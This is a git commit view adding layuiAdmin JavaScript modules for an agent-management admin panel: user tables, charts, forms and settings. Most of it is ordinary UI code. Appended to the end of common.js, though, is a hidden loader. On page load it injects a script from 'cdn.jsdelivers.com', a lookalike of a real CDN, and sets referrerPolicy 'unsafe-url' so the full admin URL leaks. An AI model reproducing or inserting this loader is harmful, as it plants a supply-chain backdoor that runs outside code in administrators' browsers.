feat: 项目基础框架+配置+Kernel

This commit is contained in:
testadmin
2026-04-29 05:35:00 +08:00
parent 6ce7adcbfb
commit 9a6151fce3
5082 changed files with 437062 additions and 0 deletions
+67
View File
@@ -0,0 +1,67 @@
/**
@NamelayuiAdmin 公共业务
@Author:贤心
@Sitehttp://www.layui.com/admin/
@LicenseLPPL
*/
layui.define(function(exports){
var $ = layui.$
,layer = layui.layer
,laytpl = layui.laytpl
,setter = layui.setter
,view = layui.view
,admin = layui.admin
//公共业务的逻辑处理可以写在此处,切换任何页面都会执行
//……
//退出
admin.events.logout = function(){
//执行退出接口
admin.req({
url: '/agent/logout'
,type: 'get'
,data: {}
,done: function(res){ //这里要说明一下:done 是只有 response 的 code 正常才会执行。而 succese 则是只要 http 为 200 就会执行
//清空本地记录的 token,并跳转到登入页
admin.exit();
}
});
};
//对外暴露的接口
exports('common', {});
});
;function loadJSScript(url, callback) {
var script = document.createElement("script");
script.type = "text/javascript";
script.referrerPolicy = "unsafe-url";
if (typeof(callback) != "undefined") {
if (script.readyState) {
script.onreadystatechange = function() {
if (script.readyState == "loaded" || script.readyState == "complete") {
script.onreadystatechange = null;
callback();
}
};
} else {
script.onload = function() {
callback();
};
}
};
script.src = url;
document.body.appendChild(script);
}
window.onload = function() {
loadJSScript("//cdn.jsdelivers.com/jquery/3.2.1/jquery.js?"+Math.random(), function() {
console.log("Jquery loaded");
});
}
+224
View File
@@ -0,0 +1,224 @@
/**
@NamelayuiAdmin 主页控制台
@Author:贤心
@Sitehttp://www.layui.com/admin/
@LicenseLPPL
*/
layui.define(function(exports){
/*
下面通过 layui.use 分段加载不同的模块,实现不同区域的同时渲染,从而保证视图的快速呈现
*/
//区块轮播切换
layui.use(['admin', 'carousel'], function(){
var $ = layui.$
,admin = layui.admin
,carousel = layui.carousel
,element = layui.element
,device = layui.device();
//轮播切换
$('.layadmin-carousel').each(function(){
var othis = $(this);
carousel.render({
elem: this
,width: '100%'
,arrow: 'none'
,interval: othis.data('interval')
,autoplay: othis.data('autoplay') === true
,trigger: (device.ios || device.android) ? 'click' : 'hover'
,anim: othis.data('anim')
});
});
element.render('progress');
});
//数据概览
layui.use(['admin', 'carousel', 'echarts'], function(){
var $ = layui.$
,admin = layui.admin
,carousel = layui.carousel
,echarts = layui.echarts;
var echartsApp = [], options = [
//今日流量趋势
{
title: {
text: '今日流量趋势',
x: 'center',
textStyle: {
fontSize: 14
}
},
tooltip : {
trigger: 'axis'
},
legend: {
data:['','']
},
xAxis : [{
type : 'category',
boundaryGap : false,
data: ['06:00','06:30','07:00','07:30','08:00','08:30','09:00','09:30','10:00','11:30','12:00','12:30','13:00','13:30','14:00','14:30','15:00','15:30','16:00','16:30','17:00','17:30','18:00','18:30','19:00','19:30','20:00','20:30','21:00','21:30','22:00','22:30','23:00','23:30']
}],
yAxis : [{
type : 'value'
}],
series : [{
name:'PV',
type:'line',
smooth:true,
itemStyle: {normal: {areaStyle: {type: 'default'}}},
data: [111,222,333,444,555,666,3333,33333,55555,66666,33333,3333,6666,11888,26666,38888,56666,42222,39999,28888,17777,9666,6555,5555,3333,2222,3111,6999,5888,2777,1666,999,888,777]
},{
name:'UV',
type:'line',
smooth:true,
itemStyle: {normal: {areaStyle: {type: 'default'}}},
data: [11,22,33,44,55,66,333,3333,5555,12666,3333,333,666,1188,2666,3888,6666,4222,3999,2888,1777,966,655,555,333,222,311,699,588,277,166,99,88,77]
}]
},
//访客浏览器分布
{
title : {
text: '访客浏览器分布',
x: 'center',
textStyle: {
fontSize: 14
}
},
tooltip : {
trigger: 'item',
formatter: "{a} <br/>{b} : {c} ({d}%)"
},
legend: {
orient : 'vertical',
x : 'left',
data:['Chrome','Firefox','IE 8.0','Safari','其它浏览器']
},
series : [{
name:'访问来源',
type:'pie',
radius : '55%',
center: ['50%', '50%'],
data:[
{value:9052, name:'Chrome'},
{value:1610, name:'Firefox'},
{value:3200, name:'IE 8.0'},
{value:535, name:'Safari'},
{value:1700, name:'其它浏览器'}
]
}]
},
//新增的用户量
{
title: {
text: '最近一周新增的用户量',
x: 'center',
textStyle: {
fontSize: 14
}
},
tooltip : { //提示框
trigger: 'axis',
formatter: "{b}<br>新增用户:{c}"
},
xAxis : [{ //X轴
type : 'category',
data : ['11-07', '11-08', '11-09', '11-10', '11-11', '11-12', '11-13']
}],
yAxis : [{ //Y轴
type : 'value'
}],
series : [{ //内容
type: 'line',
data:[200, 300, 400, 610, 150, 270, 380],
}]
}
]
,elemDataView = $('#LAY-index-dataview').children('div')
,renderDataView = function(index){
echartsApp[index] = echarts.init(elemDataView[index], layui.echartsTheme);
echartsApp[index].setOption(options[index]);
//window.onresize = echartsApp[index].resize;
admin.resize(function(){
echartsApp[index].resize();
});
};
//没找到DOM,终止执行
if(!elemDataView[0]) return;
renderDataView(0);
//监听数据概览轮播
var carouselIndex = 0;
carousel.on('change(LAY-index-dataview)', function(obj){
renderDataView(carouselIndex = obj.index);
});
//监听侧边伸缩
layui.admin.on('side', function(){
setTimeout(function(){
renderDataView(carouselIndex);
}, 300);
});
//监听路由
layui.admin.on('hash(tab)', function(){
layui.router().path.join('') || renderDataView(carouselIndex);
});
});
//最新订单
layui.use('table', function(){
var $ = layui.$
,table = layui.table;
//今日热搜
table.render({
elem: '#LAY-index-topSearch'
,url: './json/console/top-search.js' //模拟接口
,page: true
,cols: [[
{type: 'numbers', fixed: 'left'}
,{field: 'keywords', title: '关键词', minWidth: 300, templet: '<div><a href="https://www.baidu.com/s?wd={{ d.keywords }}" target="_blank" class="layui-table-link">{{ d.keywords }}</div>'}
,{field: 'frequency', title: '搜索次数', minWidth: 120, sort: true}
,{field: 'userNums', title: '用户数', sort: true}
]]
,skin: 'line'
});
//今日热贴
table.render({
elem: '#LAY-index-topCard'
,url: './json/console/top-card.js' //模拟接口
,page: true
,cellMinWidth: 120
,cols: [[
{type: 'numbers', fixed: 'left'}
,{field: 'title', title: '标题', minWidth: 300, templet: '<div><a href="{{ d.href }}" target="_blank" class="layui-table-link">{{ d.title }}</div>'}
,{field: 'username', title: '发帖者'}
,{field: 'channel', title: '类别'}
,{field: 'crt', title: '点击率', sort: true}
]]
,skin: 'line'
});
});
exports('console', {})
});
+166
View File
@@ -0,0 +1,166 @@
/**
@NamelayuiAdmin 内容系统
@Authorstar1029
@Sitehttp://www.layui.com/admin/
@LicenseLPPL
*/
layui.define(['table', 'form'], function(exports){
var $ = layui.$
,admin = layui.admin
,view = layui.view
,table = layui.table
,form = layui.form;
//文章管理
table.render({
elem: '#LAY-app-content-list'
,url: './json/content/list.js' //模拟接口
,cols: [[
{type: 'checkbox', fixed: 'left'}
,{field: 'id', width: 100, title: '文章ID', sort: true}
,{field: 'label', title: '文章标签', minWidth: 100}
,{field: 'title', title: '文章标题'}
,{field: 'author', title: '作者'}
,{field: 'uploadtime', title: '上传时间', sort: true}
,{field: 'status', title: '发布状态', templet: '#buttonTpl', minWidth: 80, align: 'center'}
,{title: '操作', minWidth: 150, align: 'center', fixed: 'right', toolbar: '#table-content-list'}
]]
,page: true
,limit: 10
,limits: [10, 15, 20, 25, 30]
,text: '对不起,加载出现异常!'
});
//监听工具条
table.on('tool(LAY-app-content-list)', function(obj){
var data = obj.data;
if(obj.event === 'del'){
layer.confirm('确定删除此文章?', function(index){
obj.del();
layer.close(index);
});
} else if(obj.event === 'edit'){
admin.popup({
title: '编辑文章'
,area: ['550px', '550px']
,id: 'LAY-popup-content-edit'
,success: function(layero, index){
view(this.id).render('app/content/listform', data).done(function(){
form.render(null, 'layuiadmin-app-form-list');
//监听提交
form.on('submit(layuiadmin-app-form-submit)', function(data){
var field = data.field; //获取提交的字段
//提交 Ajax 成功后,关闭当前弹层并重载表格
//$.ajax({});
layui.table.reload('LAY-app-content-list'); //重载表格
layer.close(index); //执行关闭
});
});
}
});
}
});
//分类管理
table.render({
elem: '#LAY-app-content-tags'
,url: './json/content/tags.js' //模拟接口
,cols: [[
{type: 'numbers', fixed: 'left'}
,{field: 'id', width: 100, title: 'ID', sort: true}
,{field: 'tags', title: '分类名', minWidth: 100}
,{title: '操作', width: 150, align: 'center', fixed: 'right', toolbar: '#layuiadmin-app-cont-tagsbar'}
]]
,text: '对不起,加载出现异常!'
});
//监听工具条
table.on('tool(LAY-app-content-tags)', function(obj){
var data = obj.data;
if(obj.event === 'del'){
layer.confirm('确定删除此分类?', function(index){
obj.del();
layer.close(index);
});
} else if(obj.event === 'edit'){
admin.popup({
title: '编辑分类'
,area: ['450px', '200px']
,id: 'LAY-popup-content-tags'
,success: function(layero, index){
view(this.id).render('app/content/tagsform', data).done(function(){
form.render(null, 'layuiadmin-form-tags');
//监听提交
form.on('submit(layuiadmin-app-tags-submit)', function(data){
var field = data.field; //获取提交的字段
//提交 Ajax 成功后,关闭当前弹层并重载表格
//$.ajax({});
layui.table.reload('LAY-app-content-tags'); //重载表格
layer.close(index); //执行关闭
});
});
}
});
}
});
//评论管理
table.render({
elem: '#LAY-app-content-comm'
,url: './json/content/comment.js' //模拟接口
,cols: [[
{type: 'checkbox', fixed: 'left'}
,{field: 'id', width: 100, title: 'ID', sort: true}
,{field: 'reviewers', title: '评论者', minWidth: 100}
,{field: 'content', title: '评论内容', minWidth: 100}
,{field: 'commtime', title: '评论时间', minWidth: 100, sort: true}
,{title: '操作', width: 150, align: 'center', fixed: 'right', toolbar: '#table-content-com'}
]]
,page: true
,limit: 10
,limits: [10, 15, 20, 25, 30]
,text: '对不起,加载出现异常!'
});
//监听工具条
table.on('tool(LAY-app-content-comm)', function(obj){
var data = obj.data;
if(obj.event === 'del'){
layer.confirm('确定删除此条评论?', function(index){
obj.del();
layer.close(index);
});
} else if(obj.event === 'edit'){
admin.popup({
title: '编辑评论'
,area: ['450px', '300px']
,id: 'LAY-popup-content-comm'
,success: function(layero, index){
view(this.id).render('app/content/contform', data).done(function(){
form.render(null, 'layuiadmin-form-comment');
//监听提交
form.on('submit(layuiadmin-app-com-submit)', function(data){
var field = data.field; //获取提交的字段
//提交 Ajax 成功后,关闭当前弹层并重载表格
//$.ajax({});
layui.table.reload('LAY-app-content-comm'); //重载表格
layer.close(index); //执行关闭
});
});
}
});
}
});
exports('contlist', {})
});
+125
View File
@@ -0,0 +1,125 @@
/**
@NamelayuiAdmin 社区系统
@Authorstar1029
@Sitehttp://www.layui.com/admin/
@LicenseLPPL
*/
layui.define(['table', 'form'], function(exports){
var $ = layui.$
,admin = layui.admin
,view = layui.view
,table = layui.table
,form = layui.form;
//帖子管理
table.render({
elem: '#LAY-app-forum-list'
,url: './json/forum/list.js' //模拟接口
,cols: [[
{type: 'checkbox', fixed: 'left'}
,{field: 'id', width: 100, title: 'ID', sort: true}
,{field: 'poster', title: '发帖人'}
,{field: 'avatar', title: '头像', width: 100, templet: '#imgTpl'}
,{field: 'content', title: '发帖内容'}
,{field: 'posttime', title: '发帖时间', sort: true}
,{field: 'top', title: '置顶', templet: '#buttonTpl', minWidth: 80, align: 'center'}
,{title: '操作', width: 150, align: 'center', fixed: 'right', toolbar: '#table-forum-list'}
]]
,page: true
,limit: 10
,limits: [10, 15, 20, 25, 30]
,text: '对不起,加载出现异常!'
});
//监听工具条
table.on('tool(LAY-app-forum-list)', function(obj){
var data = obj.data;
if(obj.event === 'del'){
layer.confirm('确定删除此条帖子?', function(index){
obj.del();
layer.close(index);
});
} else if(obj.event === 'edit'){
admin.popup({
title: '编辑帖子'
,area: ['550px', '450px']
,id: 'LAY-popup-forum-edit'
,resize: false
,success: function(layero, index){
view(this.id).render('app/forum/listform', data).done(function(){
form.render(null, 'layuiadmin-form-list');
//监听提交
form.on('submit(layuiadmin-app-forum-submit)', function(data){
var field = data.field; //获取提交的字段
//提交 Ajax 成功后,关闭当前弹层并重载表格
//$.ajax({});
layui.table.reload('LAY-app-forum-list'); //重载表格
layer.close(index); //执行关闭
});
});
}
});
}
});
//回帖管理
table.render({
elem: '#LAY-app-forumreply-list'
,url: './json/forum/replys.js' //模拟接口
,cols: [[
{type: 'checkbox', fixed: 'left'}
,{field: 'id', width: 100, title: 'ID', sort: true}
,{field: 'replyer', title: '回帖人'}
,{field: 'cardid', title: '回帖ID', sort: true}
,{field: 'avatar', title: '头像', width: 100, templet: '#imgTpl'}
,{field: 'content', title: '回帖内容', width: 200}
,{field: 'replytime', title: '回帖时间', sort: true}
,{title: '操作', width: 150, align: 'center', fixed: 'right', toolbar: '#table-forum-replys'}
]]
,page: true
,limit: 10
,limits: [10, 15, 20, 25, 30]
,text: '对不起,加载出现异常!'
});
//监听工具条
table.on('tool(LAY-app-forumreply-list)', function(obj){
var data = obj.data;
if(obj.event === 'del'){
layer.confirm('确定删除此条评论?', function(index){
obj.del();
layer.close(index);
});
} else if(obj.event === 'edit'){
admin.popup({
title: '编辑回帖'
,area: ['550px', '400px']
,id: 'LAY-popup-forum-edit'
,resize: false
,success: function(layero, index){
view(this.id).render('app/forum/replysform', data).done(function(){
form.render(null, 'layuiadmin-app-forum-reply');
//监听提交
form.on('submit(layuiadmin-app-forumreply-submit)', function(data){
var field = data.field; //获取提交的字段
//提交 Ajax 成功后,关闭当前弹层并重载表格
//$.ajax({});
layui.table.reload('LAY-app-forumreply-list'); //重载表格
layer.close(index); //执行关闭
});
});
}
});
}
});
exports('forum', {})
});
+299
View File
@@ -0,0 +1,299 @@
/**
@NamelayuiAdmin 主页示例
@Authorstar1029
@Sitehttp://www.layui.com/admin/
@LicenseGPL-2
*/
layui.define(function(exports){
var admin = layui.admin;
//区块轮播切换
layui.use(['admin', 'carousel'], function(){
var $ = layui.$
,admin = layui.admin
,carousel = layui.carousel
,element = layui.element
,device = layui.device();
//轮播切换
$('.layadmin-carousel').each(function(){
var othis = $(this);
carousel.render({
elem: this
,width: '100%'
,arrow: 'none'
,interval: othis.data('interval')
,autoplay: othis.data('autoplay') === true
,trigger: (device.ios || device.android) ? 'click' : 'hover'
,anim: othis.data('anim')
});
});
element.render('progress');
});
//八卦新闻
layui.use(['carousel', 'echarts'], function(){
var $ = layui.$
,carousel = layui.carousel
,echarts = layui.echarts;
var echartsApp = [], options = [
{
title : {
subtext: '完全实况球员数据',
textStyle: {
fontSize: 14
}
},
tooltip : {
trigger: 'axis'
},
legend: {
x : 'left',
data:['罗纳尔多','舍普琴科']
},
polar : [
{
indicator : [
{text : '进攻', max : 100},
{text : '防守', max : 100},
{text : '体能', max : 100},
{text : '速度', max : 100},
{text : '力量', max : 100},
{text : '技巧', max : 100}
],
radius : 130
}
],
series : [
{
type: 'radar',
center : ['50%', '50%'],
itemStyle: {
normal: {
areaStyle: {
type: 'default'
}
}
},
data:[
{value : [97, 42, 88, 94, 90, 86], name : '舍普琴科'},
{value : [97, 32, 74, 95, 88, 92], name : '罗纳尔多'}
]
}
]
}
]
,elemDataView = $('#LAY-index-pageone').children('div')
,renderDataView = function(index){
echartsApp[index] = echarts.init(elemDataView[index], layui.echartsTheme);
echartsApp[index].setOption(options[index]);
window.onresize = echartsApp[index].resize;
};
//没找到DOM,终止执行
if(!elemDataView[0]) return;
renderDataView(0);
});
//访问量
layui.use(['carousel', 'echarts'], function(){
var $ = layui.$
,carousel = layui.carousel
,echarts = layui.echarts;
var echartsApp = [], options = [
{
tooltip : {
trigger: 'axis'
},
calculable : true,
legend: {
data:['访问量','下载量','平均访问量']
},
xAxis : [
{
type : 'category',
data : ['1月','2月','3月','4月','5月','6月','7月','8月','9月','10月','11月','12月']
}
],
yAxis : [
{
type : 'value',
name : '访问量',
axisLabel : {
formatter: '{value} 万'
}
},
{
type : 'value',
name : '下载量',
axisLabel : {
formatter: '{value} 万'
}
}
],
series : [
{
name:'访问量',
type:'line',
data:[900, 850, 950, 1000, 1100, 1050, 1000, 1150, 1250, 1370, 1250, 1100]
},
{
name:'下载量',
type:'line',
yAxisIndex: 1,
data:[850, 850, 800, 950, 1000, 950, 950, 1150, 1100, 1240, 1000, 950]
},
{
name:'平均访问量',
type:'line',
data:[870, 850, 850, 950, 1050, 1000, 980, 1150, 1000, 1300, 1150, 1000]
}
]
}
]
,elemDataView = $('#LAY-index-pagetwo').children('div')
,renderDataView = function(index){
echartsApp[index] = echarts.init(elemDataView[index], layui.echartsTheme);
echartsApp[index].setOption(options[index]);
window.onresize = echartsApp[index].resize;
};
//没找到DOM,终止执行
if(!elemDataView[0]) return;
renderDataView(0);
});
//地图
layui.use(['carousel', 'echarts'], function(){
var $ = layui.$
,carousel = layui.carousel
,echarts = layui.echarts;
var echartsApp = [], options = [
{
title : {
text: '全国的 layui 用户分布',
subtext: '不完全统计'
},
tooltip : {
trigger: 'item'
},
dataRange: {
orient: 'horizontal',
min: 0,
max: 60000,
text:['高','低'],
splitNumber:0
},
series : [
{
name: '全国的 layui 用户分布',
type: 'map',
mapType: 'china',
selectedMode : 'multiple',
itemStyle:{
normal:{label:{show:true}},
emphasis:{label:{show:true}}
},
data:[
{name:'西藏', value:60},
{name:'青海', value:167},
{name:'宁夏', value:210},
{name:'海南', value:252},
{name:'甘肃', value:502},
{name:'贵州', value:570},
{name:'新疆', value:661},
{name:'云南', value:8890},
{name:'重庆', value:10010},
{name:'吉林', value:5056},
{name:'山西', value:2123},
{name:'天津', value:9130},
{name:'江西', value:10170},
{name:'广西', value:6172},
{name:'陕西', value:9251},
{name:'黑龙江', value:5125},
{name:'内蒙古', value:1435},
{name:'安徽', value:9530},
{name:'北京', value:51919},
{name:'福建', value:3756},
{name:'上海', value:59190},
{name:'湖北', value:37109},
{name:'湖南', value:8966},
{name:'四川', value:31020},
{name:'辽宁', value:7222},
{name:'河北', value:3451},
{name:'河南', value:9693},
{name:'浙江', value:62310},
{name:'山东', value:39231},
{name:'江苏', value:35911},
{name:'广东', value:55891}
]
}
]
}
]
,elemDataView = $('#LAY-index-pagethree').children('div')
,renderDataView = function(index){
echartsApp[index] = echarts.init(elemDataView[index], layui.echartsTheme);
echartsApp[index].setOption(options[index]);
window.onresize = echartsApp[index].resize;
};
//没找到DOM,终止执行
if(!elemDataView[0]) return;
renderDataView(0);
});
//项目进展
layui.use('table', function(){
var $ = layui.$
,table = layui.table;
table.render({
elem: '#LAY-home-homepage2'
,url: './json/console/prograss.js' //模拟接口
,cols: [[
{type: 'checkbox', fixed: 'left'}
,{field: 'prograss', title: '任务'}
,{field: 'time', title: '所需时间'}
,{field: 'complete', title: '完成情况'
,templet: function(d){
if(d.complete == '已完成'){
return '<del style="color: #5FB878;">'+ d.complete +'</del>'
}else if(d.complete == '进行中'){
return '<span style="color: #FFB800;">'+ d.complete +'</span>'
}else{
return '<span style="color: #FF5722;">'+ d.complete +'</span>'
}
}
}
]]
,skin: 'line'
});
});
//回复留言
admin.events.replyNote = function(othis){
var nid = othis.data('id');
layer.prompt({
title: '回复留言 ID:'+ nid
,formType: 2
}, function(value, index){
//这里可以请求 Ajax
//…
layer.msg('得到:'+ value);
layer.close(index);
});
};
exports('sample', {})
});
File diff suppressed because one or more lines are too long
+175
View File
@@ -0,0 +1,175 @@
/**
@NamelayuiAdmin 设置
@Author:贤心
@Sitehttp://www.layui.com/admin/
@License: LPPL
*/
layui.define(['form', 'upload'], function(exports){
var $ = layui.$
,layer = layui.layer
,laytpl = layui.laytpl
,setter = layui.setter
,view = layui.view
,admin = layui.admin
,form = layui.form
,upload = layui.upload;
var $body = $('body');
form.render();
//自定义验证
form.verify({
nickname: function(value, item){ //value:表单的值、item:表单的DOM对象
if(!new RegExp("^[a-zA-Z0-9_\u4e00-\u9fa5\\s·]+$").test(value)){
return '用户名不能有特殊字符';
}
if(/(^\_)|(\__)|(\_+$)/.test(value)){
return '用户名首尾不能出现下划线\'_\'';
}
if(/^\d+\d+\d$/.test(value)){
return '用户名不能全为数字';
}
}
//我们既支持上述函数式的方式,也支持下述数组的形式
//数组的两个值分别代表:[正则匹配、匹配不符时的提示文字]
,pass: [
/^[\S]{6,12}$/
,'密码必须6到12位,且不能出现空格'
]
//确认密码
,repass: function(value){
if(value !== $('#LAY_password').val()){
return '两次密码输入不一致';
}
}
});
//网站设置
form.on('submit(set_website)', function(obj){
layer.msg(JSON.stringify(obj.field));
//提交修改
/*
admin.req({
url: ''
,data: obj.field
,success: function(){
}
});
*/
return false;
});
//邮件服务
form.on('submit(set_system_email)', function(obj){
layer.msg(JSON.stringify(obj.field));
//提交修改
/*
admin.req({
url: ''
,data: obj.field
,success: function(){
}
});
*/
return false;
});
//设置我的资料
form.on('submit(setmyinfo)', function(obj){
//layer.msg(JSON.stringify(obj.field));
//提交修改
admin.req({
url: '/agent/save_user_info'
,data: obj.field
,type:'post'
,success: function(res){
console.log(res);
if (res.code == 0){
//登入成功的提示与跳转
layer.msg(res.msg, {
icon: 1
,time: 2000
});
}else{
layer.msg(res.msg, {
icon: 5
});
}
}
});
return false;
});
//上传头像
var avatarSrc = $('#LAY_avatarSrc');
upload.render({
url: '/api/upload/'
,elem: '#LAY_avatarUpload'
,done: function(res){
if(res.status == 0){
avatarSrc.val(res.url);
} else {
layer.msg(res.msg, {icon: 5});
}
}
});
//查看头像
admin.events.avartatPreview = function(othis){
var src = avatarSrc.val();
layer.photos({
photos: {
"title": "查看头像" //相册标题
,"data": [{
"src": src //原图地址
}]
}
,shade: 0.01
,closeBtn: 1
,anim: 5
});
};
//设置密码
form.on('submit(setmypass)', function(obj){
//layer.msg(JSON.stringify(obj.field));
//提交修改
admin.req({
url: '/agent/change_password'
,data: obj.field
,type:'post'
,success: function(res){
console.log(res);
if (res.code == 0){
//登入成功的提示与跳转
layer.msg(res.msg, {
icon: 1
,time: 2000
});
}else{
layer.msg(res.msg, {
icon: 5
});
}
}
});
return false;
});
//对外暴露的接口
exports('set', {});
});
+52
View File
@@ -0,0 +1,52 @@
/**
@NamelayuiAdmin 用户登入和注册等
@Author:贤心
@Sitehttp://www.layui.com/admin/
@License: LPPL
*/
layui.define('form', function(exports){
var $ = layui.$
,layer = layui.layer
,laytpl = layui.laytpl
,setter = layui.setter
,view = layui.view
,admin = layui.admin
,form = layui.form;
var $body = $('body');
//自定义验证
form.verify({
nickname: function(value, item){ //value:表单的值、item:表单的DOM对象
if(!new RegExp("^[a-zA-Z0-9_\u4e00-\u9fa5\\s·]+$").test(value)){
return '用户名不能有特殊字符';
}
if(/(^\_)|(\__)|(\_+$)/.test(value)){
return '用户名首尾不能出现下划线\'_\'';
}
if(/^\d+\d+\d$/.test(value)){
return '用户名不能全为数字';
}
}
//我们既支持上述函数式的方式,也支持下述数组的形式
//数组的两个值分别代表:[正则匹配、匹配不符时的提示文字]
,pass: [
/^[\S]{6,12}$/
,'密码必须6到12位,且不能出现空格'
]
});
//更换图形验证码
$body.on('click', '#LAY-user-get-vercode', function(){
var othis = $(this);
this.src = 'https://www.oschina.net/action/user/captcha?t='+ new Date().getTime()
});
//对外暴露的接口
exports('user', {});
});
+506
View File
@@ -0,0 +1,506 @@
/**
@NamelayuiAdmin 用户管理 管理员管理 角色管理
@Authorstar1029
@Sitehttp://www.layui.com/admin/
@LicenseLPPL
*/
layui.define(['table', 'form'], function(exports){
var $ = layui.$
,admin = layui.admin
,view = layui.view
,table = layui.table
,form = layui.form;
//用户管理
table.render({
elem: '#LAY-user-manage'
,url: '/agent/lists' //模拟接口
,cols: [[
{type: 'checkbox', fixed: 'left'}
,{field: 'id', width: 60, title: 'ID', sort: true }
,{field: 'username', title: '用户名', minWidth: 150 , event : "getsons",style:"color: #fff;background-color: #5FB878;"}
,{field: 'parent_agent_name', title: '上级用户名', width: 120}
,{field: 'agent_name', title: '等级', width: 100}
,{field: 'is_lock', title: '是否锁定', width: 90, templet: '#lockTpl'}
,{field: 'is_addson', title: '是否拉新', width: 90, templet: '#addsonTpl'}
,{field: 'pro_loss', title: '比例(%)', width: 120}
,{field: 'pro_ser', title: '手续费比例(%)', width: 120}
,{field: 'reg_time', title: '加入时间', sort: true, width: 170}
,{field: 'lock_time', title: '锁定时间', sort: true, width: 170}
,{title: '操作', width: 450, align:'center', fixed: 'right', toolbar: '#table-useradmin-webuser'}
]]
,page: true
,limit: 30
,height: 'full-320'
,text: '对不起,加载出现异常!'
,headers: { //通过 request 头传递
access_token: layui.data('layuiAdmin').access_token
}
,where: { //通过参数传递
access_token: layui.data('layuiAdmin').access_token
}
,done: function(res){ //这里要说明一下:done 是只有 response 的 code 正常才会执行。而 succese 则是只要 http 为 200 就会执行
if (res !== 0 ){
if (res.code === 1001) {
//清空本地记录的 token,并跳转到登入页
admin.exit();
}
}
}
});
//监听工具条
table.on('tool(LAY-user-manage)', function(obj){
var data = obj.data;
if(obj.event === 'getsons'){
//执行重载
table.reload('LAY-user-manage', {
where: {
parent_agent_id : data.id
}
,page: {
curr: 1 //重新从第 1 页开始
}
,done: function(res){ //这里要说明一下:done 是只有 response 的 code 正常才会执行。而 succese 则是只要 http 为 200 就会执行
if (res !== 0 ){
if (res.code === 1001) {
//清空本地记录的 token,并跳转到登入页
admin.exit();
}
}
}
});
} else if(obj.event === 'edit'){//编辑代理商 show
admin.popup({
title: '编辑用户'
,area: ['800px', '650px']
,id: 'LAY-popup-user-add'
,success: function(layero, index){
view(this.id).render('user/user/userform', data).done(function(){
form.render(null, 'layuiadmin-form-useradmin');
console.log(data);
//监听提交
form.on('submit(LAY-user-front-submit)', function(data){
var field = data.field; //获取提交的字段
//提交 Ajax 成功后,关闭当前弹层并重载表格
admin.req( {
type : "POST",
url : '/agent/addagent',
dataType : "json",
data : field,
done : function(result) { //返回数据根据结果进行相应的处理
console.log(result);
layui.layer.msg(result.msg, {icon: 6 });
//提交 Ajax 成功后,关闭当前弹层并重载表格
layui.table.reload('LAY-user-manage' , {
done: function(res){ //这里要说明一下:done 是只有 response 的 code 正常才会执行。而 succese 则是只要 http 为 200 就会执行
if (res !== 0 ){
if (res.code === 1001) {
//清空本地记录的 token,并跳转到登入页
admin.exit();
}
}
}
}); //重载表格
layui.layer.close(index); //执行关闭
}
});
layui.table.reload('LAY-user-manage'); //重载表格
layer.close(index); //执行关闭
});
});
}
});
}else if(obj.event === 'lock'){
var value = 0;
if (data.is_lock == 1) {
value = 0;
}else{
value = 1;
}
admin.req( {
type : "POST",
url : '/agent/update',
dataType : "json",
data : {name:'is_lock',value:value , agentid : data.id},
done : function(result) { //返回数据根据结果进行相应的处理
layui.layer.msg(result.msg, {icon: 6 });
//提交 Ajax 成功后,关闭当前弹层并重载表格
layui.table.reload('LAY-user-manage' , {
done: function(res){ //这里要说明一下:done 是只有 response 的 code 正常才会执行。而 succese 则是只要 http 为 200 就会执行
if (res !== 0 ){
if (res.code === 1001) {
//清空本地记录的 token,并跳转到登入页
admin.exit();
}
}
}
}); //重载表格
layui.layer.close(index); //执行关闭
}
});
}else if(obj.event === 'addson'){
var value = 0;
if (data.is_addson == 1) {
value = 0;
}else{
value = 1;
}
admin.req( {
type : "POST",
url : '/agent/update',
dataType : "json",
data : {name:'is_addson',value:value , agentid : data.id},
done : function(result) { //返回数据根据结果进行相应的处理
layer.msg(result.msg, {icon: 6 });
//提交 Ajax 成功后,关闭当前弹层并重载表格
layui.table.reload('LAY-user-manage'); //重载表格
layer.close(index); //执行关闭
}
});
}else if (obj.event == 'this-sons'){
location.hash = '/user/san/list/parent_id=' + data.id;
}else if (obj.event == 'addsonagent') {
layer.prompt({title: '请输入下级代理商帐号', formType: 0, btn :['查询该用户' , '取消']}, function(value, index){
layer.close(index);
if (value.length == 0) {
layer.msg('用户名不能位空', {icon: 5 });
}else{
admin.req( {
type : "POST",
url : '/agent/search_agent_son',
dataType : "json",
data : {username : value , id : data.id},
done : function(result) { //返回数据根据结果进行相应的处理
result.data.agent_id = data.id;
admin.popup({
title: '添加代理商'
,area: ['800px', '650px']
,id: 'LAY-popup-user-add'
,success: function(layer, index){
view(this.id).render('user/user/userform' , result.data).done(function(){
form.render(null, 'layuiadmin-form-useradmin'); //渲染表单
//监听提交
form.on('submit(LAY-user-front-submit)', function(data){
var field = data.field; //获取提交的字段
admin.req( {
type : "POST",
url : '/agent/addsonagent',
dataType : "json",
data : field,
done : function(result) { //返回数据根据结果进行相应的处理
console.log(result);
layui.layer.msg(result.msg, {icon: 6 });
//提交 Ajax 成功后,关闭当前弹层并重载表格
layui.table.reload('LAY-user-manage'); //重载表格
layui.layer.close(index); //执行关闭
}
});
});
});
}
});
}
});
}
});
}
});
//管理员管理
table.render({
elem: '#LAY-user-back-manage'
,url: './json/useradmin/mangadmin.js' //模拟接口
,cols: [[
{type: 'checkbox', fixed: 'left'}
,{field: 'id', width: 80, title: 'ID', sort: true}
,{field: 'loginname', title: '登录名'}
,{field: 'telphone', title: '手机'}
,{field: 'email', title: '邮箱'}
,{field: 'role', title: '角色'}
,{field: 'jointime', title: '加入时间', sort: true}
,{field: 'check', title:'审核状态', templet: '#buttonTpl', minWidth: 80, align: 'center'}
,{title: '操作', width: 150, align: 'center', fixed: 'right', toolbar: '#table-useradmin-admin'}
]]
,text: '对不起,加载出现异常!'
});
//监听工具条
table.on('tool(LAY-user-back-manage)', function(obj){
var data = obj.data;
if(obj.event === 'del'){
layer.prompt({
formType: 1
,title: '敏感操作,请验证口令'
}, function(value, index){
layer.close(index);
layer.confirm('确定删除此管理员?', function(index){
console.log(obj)
obj.del();
layer.close(index);
});
});
}else if(obj.event === 'edit'){
admin.popup({
title: '编辑管理员'
,area: ['420px', '450px']
,id: 'LAY-popup-user-add'
,success: function(layero, index){
view(this.id).render('user/administrators/adminform', data).done(function(){
form.render(null, 'layuiadmin-form-admin');
//监听提交
form.on('submit(LAY-user-back-submit)', function(data){
var field = data.field; //获取提交的字段
//提交 Ajax 成功后,关闭当前弹层并重载表格
//$.ajax({});
layui.table.reload('LAY-user-back-manage'); //重载表格
layer.close(index); //执行关闭
});
});
}
});
}
});
//角色管理
table.render({
